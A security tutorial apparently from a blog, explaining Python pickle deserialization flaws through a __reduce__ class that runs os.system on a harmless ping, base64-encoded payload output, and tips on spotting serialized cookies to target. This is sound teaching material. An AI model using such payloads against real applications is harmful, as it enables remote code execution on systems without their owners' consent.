Deserialization Vulnerabilities With Pythons Pickle Library

Deserialization vulnerabilities occur when an application deserializes a user-controlled serialized object. In Python, the native way to serialize and deserialize an object is with the Pickle library. Other libraries are also available, these include JsonPickle and Pyaml.

The pickle loads() function will reconstruct the serialized Python object in memory for future use. However, this can be abused by creating a new serialized object which contains a method called __reduce__.

The __reduce__ method can return either a string or tuple, this must contain between 2 and 6 items. If the tuple is selected then it can be callable during the initial creation of the object. Given that it is callable, it’s possible to add code which will be executed when the object is deserialized. The following example defines a new class RemoteCommandExec with a __reduce__ method.

import os
import pickle
import base64

class RemoteCommandExec:
 def __reduce__(self):
 return os.system, ("ping 127.0.0.1 -c 2",)

By making use of Pickle’s dumps method, this object can be serialized. It can then be printed out so that it can be used for any testing.

object = RemoteCommandExec()
rawSerialized = pickle.dumps(object)
print(base64.b64encode(rawSerialized).decode())

More information on the __reduce__ method can be found by referring to Python’s docs.

Locating Serialized Objects

Finding serialized objects in the wild can come down to a keen eye along with some trial and error. In Python, any objects which are serialized are converted into a byte stream. So that this does not affect the application, this byte stream is usually encoded to base64.

The application should be inspected carefully for any fields which contain base64 strings, an example of this could be a cookie. When the base64 string is decoded some of the contents would not be readable, this is because it’s a byte stream, which can be seen down below.

/bin/bash$ echo "gASVLgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBNwaW5nIDEyNy4wLjAuMSAtYyAylIWUUpQu" | base64 -d

��.�posix��system����ping 127.0.0.1 -c 2���R�.

As the example shows, the contents of our operating system command are readable but not much else. This can be cleaned up a little with xxd.

/bin/bash$ echo "gASVLgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBNwaW5nIDEyNy4wLjAuMSAtYyAylIWUUpQu" | base64 -d | xxd

00000000: 8004 952e 0000 0000 0000 008c 0570 6f73  .............pos
00000010: 6978 948c 0673 7973 7465 6d94 9394 8c13  ix...system.....
00000020: 7069 6e67 2031 3237 2e30 2e30 2e31 202d  ping 127.0.0.1 -
00000030: 6320 3294 8594 5294 2e                   c 2...R..

The following example shows a HTTP request. After some quick analysis, it can be seen that there is an auth cookie which has some similarities with the previous serialized object. Given that this is also a serialized object, this would be a perfect opportunity to craft a new object to achieve code execution.

GET /profile HTTP/1.1 200 
Date: Mon, 11 Mar 2024 22:09:32 GMT
Server: Apache
User-Agent: curl/7.74.0
Cookie: auth=gASVGwAAAAAAAACMCF9fbWFpbl9flIwHU2Vzc2lvbpSTlCmBlC4%3d
Content-type: text/html; charset=UTF-8

Any application testing and exploitation should only be performed with prior approval from the owner. This information is intended for educational purposes.

Spread the love